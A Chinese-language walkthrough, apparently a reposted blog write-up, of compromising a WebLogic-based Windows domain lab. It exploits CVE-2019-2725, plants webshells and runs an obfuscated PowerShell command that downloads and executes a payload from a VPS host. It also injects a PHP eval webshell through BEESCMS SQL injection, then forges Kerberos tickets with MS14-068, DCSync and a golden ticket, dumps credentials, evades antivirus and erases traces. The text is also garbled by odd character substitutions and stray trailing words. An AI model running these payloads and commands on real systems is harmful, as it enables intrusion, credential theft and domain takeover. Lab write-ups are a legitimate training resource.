WEB服务器:windows2008系统php
外网网卡IP:192.168.1.152
内网网卡IP:10.10.10.80
域成员:windows server 2003系统
网卡IP:10.10.10.200git
域控服务器:windows server 2008系统github
网卡IP:192.168.52.138
攻击机器:kali windows 10web
kali IP:192.168.1.112
CobaltStrike服务器IP:192.168.1.108
Weblogic反序列化远程代码执行漏洞获取webshell
这个靶机一开始在登录web机器的时候输入做者提示的登录密码不能登录,而后我就使用administrator登录进去把web机器的密码修改成做者说的密码了!进去以后须要启动Weblogic。路径在C:OracleMiddlewareuser_projectsdomainsbase_domain里面。这里面有一个批处理点击便可。接着到攻击机器来,使用nmap扫描目标机器,扫描到了7001端口是weblogic。shell
使用weblogic扫描工具扫描一波发现了有反序列化漏洞。windows
https://github.com/rabbitmask/WeblogicScan
这里扫描除了两个CVE漏洞安全
访问一下存在漏洞的地址,接着抓包写入poc服务器
http://192.168.1.152:7001/_async/AsyncResponseService
使用poc来验证一下。github上面有poc微信
https://github.com/lufeirider/CVE-2019-2725
能够看到能够执行命令网络
接下来的话直接让他上线CobaltStrike。
返回200成功,可是等了好久好久都没有CobaltStrike都没上线,接着查看进程发现了有360安全卫士。我刚刚给的powershell应该被360拦截了
使用weblogic利用工具上传shell上去,上传须要找到几个点,获取物理路径,以下面三种:
第一个方法是把shell写到uddiexplorer目录中
\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\uddiexplorer\随机字符\war\shell.jsp
目录写入木马,
访问 http://*.*.*.*:7001/uddiexplorer/shell.jsp
第二个方法是把shell写在应用安装目录中
\Oracle\Middleware\user_projects\domains\application\servers\AdminServer\tmp\_WL_user\项目名\随机字符\war\shell.jsp
目录写入木马,
访问 http://*.*.*.*:7001/项目名/shell.jsp
第三个方法是把shell写到控制台images目录中
\Oracle\Middleware\wlserver_10.3\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\shell.jsp
接着在这个目录上传木马
上传成功,访问路径:
http://*.*.*.*:7001/console/framework/skins/wlsconsole/images/shell.jsp
链接冰蝎成功!!
webshell上线Cobaltstrike
首先这里我使用了对powershell的代码进行混淆,首先生成powershell的payload,而后使用powershell脚本混淆工具进行混淆。地址以下:
https://github.com/danielbohannon/Invoke-Obfuscation
接着使用这个工具对powershell脚本混淆一下
接着在对powershell命令在进行混淆一次:参考师傅文章:https://xz.aliyun.com/t/7903
powershell -NoExit "$c1='IEX(New-Object Net.WebClient).Downlo';$c2='123(''http://VPS_IP:port/1.ps1'')'.Replace('123','adString');IEX ($c1+$c2)"
以后再使用powershell命令就可让对方上线了。
使用systeminfo能够查看到系统的信息,当前的域是处在web域中,是一台windows server 2008的服务器。而且打的补丁比较少
查看网络信息,这里是双网卡,内网是10.10.10.0/24网段。
提权的话这里使用了ms15-051。这里CS有带这个提权,尝试一下后直接提取成功了。
直接使用mimikatz获取到系统的密码凭证。
因为对方有360的话,每当执行一些敏感的命令都会有提醒阻止的。可使用使用argue参数污染,这里把net1参数进行污染。
参数进行污染以后就可使用execute参数进行添加用户。
查看对方开启了3389端口以后,可使用刚刚建立的用户进行远程桌面登录
使用Ladon插件对网段进行扫描,这里能够发现DC.delay.com多是域控。
在刚刚ipconfig获取的域控域名进行ping测试,发现返回的IP的确就是10.10.10.10
接着使用代理进入内网探测,使用Venom代理工具进行代理。在具备具备独立IP的机器上面执行命令:
admin.exe -lport 6666
把agent.exe上传到对方机器上面,执行以下命令,使对方回连主机。
agent.exe -rhost 回连主机IP -rport 6666
以后在回连主机上面就能够看到有新的链接已经链接进来了,以后进入这个节点。使用socks 1080创建一个代理的端口。
进入使用Proxifier挂上代理,端口就是刚刚设置的1080。挂上代理以后使用端口扫描工具对10.10.10.201这个IP进是端口扫描,对方开启了80,445和3389端口。
内网PC获取shell
访问10.10.10.201的80端口,发现是一个BEESCMS的系统,在网上搜索了以后发现v4.0版本存在后台的登录框注入漏洞。
使用dirsearch对网站进行扫描,扫描发现了后台登录和i.php文件,i.php文件大几率就是phpinfo了吧
BESCMS后台存在注入,直接在帐号这里输入单引号能够直接报错。
根据网上的提供的漏洞信息是能够直接写入一句话进去的,这里试着访问i.php发现真的就是phpinfo的页面,从phpinfo泄露的信息来看这里就是网站的根目录了。
对这个注入进行判断字段数,发现有五个字段,在第五字段的时候不报错了!显示密码不正确!
根据网上的对BESSCMSv4.0的利用手法,写入一句话木马进去,在写入一句话的时候须要对shell的payload进行编码转换。已经知道了根目录,直接写入一句话到目标的网站根目录上面。而且须要的条件是secure_file_priv为空才能写入。
admin' uni union on selselectect null,null,null,null,0x3c3f70687020406576616c28245f504f53545b636d645d293b3f3e in into outoutfilefile 'C:/tongda/PHPTutorial/WWW/netstat/s.php'#
接着查看一些是否已经写入成功,很顺利这已经写入shell成功了。并且好像这里还出现了管理员的帐号和密码。
以后直接使用菜刀进行链接便可。
接着在已经获取的beacon中设置一个中转的监听,让内网的机器会连的时候会连到能够出网的WEB服务器上面。
接着生成一个中转监听的木马,而且上传到内网PC的机器上面执行。
接着这里的代理连就已经完成了。内网的PC依靠着WEB传递数据出去。
既然返回回来的已是要给高权限了,那就能够直接获取PC里面的凭借密码。
既然密码同样的那能够尝试一下是否能够PTH获取内网PC的主机。可是这里显示不能获取。
获取域控的权限
既然已经有了域普通用户的的哈希,若是域控存在ms14-068漏洞的话普通用户的权限是能够提高为域控权限的,首先须要有域用户的SID值
使用命令制做一张票据出来。
MS14-068.exe -u administrator@de1ay.com -p 1qaz@WSX. -s S-1-5-21-2756371121-2868759905-3853650604-500 -d 10.10.10.10
参数说明:
- -u 域帐号+@+域名称,这里是WEB+@+de1ay.com
- -p 为当前用户的密码,即WEB的密码
- -s为hello的SID值,能够经过whoami /all来获取用户的SID值
- -d为当前域的域控
执行成功以后会在当前目录下生成一个.ccache的文件。接着清除凭证信息,在CS中能够直接使用命令
kerberos_ticket_purge,接着将票据注入到内存当中
额这就有点!!!什么鬼啊!
接着尝试一下PTH直接传递哈希过去看看域控可否上线吧!最后仍是PTH上线了
因为是Windows 2012的系统,并不能直接获取到明文的密码。能够经过修改注册表来获取明文密码
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
这里我就不修改注册表了,若是修改的话须要对方注销或者重启才有效
接着制做黄金票据。使用命令把krbtgt的密码HASH值获取出来,一下两条命令均可以获取krbtgt密码
lsadump::dcsync /domain:de1ay.com /user:krbtgt
LsaDump::dcsync /domain:de1ay.com /all /csv
接着使用CobaltStrike自带的黄金票据来生成GoldenTicket
最后再把上传的文件和webshell删除,再把一下痕迹擦测,这里有一位师傅的博客写的很好https://blog.csdn.net/bylfsj/article/details/102565586
今天也是特别的日子,昨天也是哈哈哈!炎日的夏天在经历暴雨的冲洗,换来清爽加上美丽的晚霞!
本文分享自微信公众号 - 黑白天(li0981jing)。
若有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一块儿分享。